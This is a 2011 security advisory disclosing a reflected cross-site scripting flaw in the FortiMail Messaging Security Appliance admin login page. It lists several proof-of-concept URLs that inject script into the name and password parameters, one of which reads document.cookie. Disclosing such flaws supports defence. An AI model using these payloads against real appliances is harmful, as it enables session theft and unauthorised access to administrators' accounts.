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XSS vulnerability in FortiMail Messaging Security Appliance

From: sschurtz () t-online de
Date: Tue, 13 Sep 2011 06:27:00 GMT

Advisory:           XSS vulnerability in FortiMail Messaging Security Appliance
Advisory ID:        SSCHADV2011-011
Author:             Stefan Schurtz
Affected Software:  v4.0,build0245,101208 (MR1 Patch 2)
Vendor URL:         http://www.fortinet.com/
Vendor Status:      informed

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Vulnerability Description:
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The Fortinet "FortiMail Messaging Security Appliance" is prone to a XSS vulnerability

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Technical Details:
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Tested on:

FortiMail 100 / 400
Firmware version: v4.0,build0245,101208 (MR1 Patch 2)
Internet Explorer 8 

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name='"<body onload=alert(666)>&password=admin
https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password='"<body onload=alert(666)>

or

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body 
onload=alert(String.fromCharCode(88,83,83))>&password=admin
https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=admin&password=<body 
onload=alert(String.fromCharCode(88,83,83))>

or

https://<fortimail>/module/admin.fe?reqObject=AdminLogin&reqAction=1&name=<body 
onload=alert(document.cookie)>&password=admin

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Solution:
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Disclosure Timeline:
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31-Aug-2011 - informed the Zero Day Initiative (ZDI) - no response
13-Sep-2011 - informed vendor
13-Sep-2011 - release date of this security advisory

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://www.fortinet.com/
http://www.rul3z.de/advisories/SSCHADV2011-011.txt

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